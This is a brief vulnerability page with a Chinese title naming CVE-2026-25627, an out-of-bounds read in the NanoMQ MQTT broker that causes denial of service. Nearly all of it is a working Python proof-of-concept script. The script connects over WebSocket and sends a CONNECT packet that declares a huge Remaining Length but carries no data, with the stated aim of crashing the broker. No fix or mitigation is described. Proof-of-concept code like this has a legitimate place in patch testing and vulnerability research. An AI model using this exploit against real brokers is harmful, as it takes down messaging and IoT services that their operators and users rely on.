CVE-2026-25627 NanoMQ越界读取导致拒绝服务漏洞

import asyncio import websockets async def send_malicious_packet(uri): """ PoC for CVE-2026-25627 Sends a malicious MQTT packet with a large Remaining Length to NanoMQ. """ try: async with websockets.connect(uri) as websocket: # Construct a malicious MQTT packet # Byte 1: MQTT Packet Type (e.g., 0x10 for CONNECT) # Byte 2-5: Remaining Length encoded as a very large value (0xFF, 0xFF, 0xFF, 0x7F) # This indicates ~268MB of data, but we send very little payload. packet_type = b'\x10' # Variable Byte Integer for Remaining Length (Max value ~268 million) remaining_length = b'\xFF\xFF\xFF\x7F' # Minimal payload to trigger OOB read payload = b'' malicious_packet = packet_type + remaining_length + payload print(f"[+] Sending malicious packet to {uri}...") await websocket.send(malicious_packet) # Try to receive response (server likely crashes) response = await websocket.recv() print(f"[!] Received response (unexpected): {response}") except Exception as e: print(f"[!] Exception occurred (Crash expected): {e}") if __name__ == "__main__": # Target URI (default NanoMQ WebSocket port is usually 8083) target_uri = "ws://localhost:8083/mqtt" asyncio.get_event_loop().run_until_complete(send_malicious_packet(target_uri))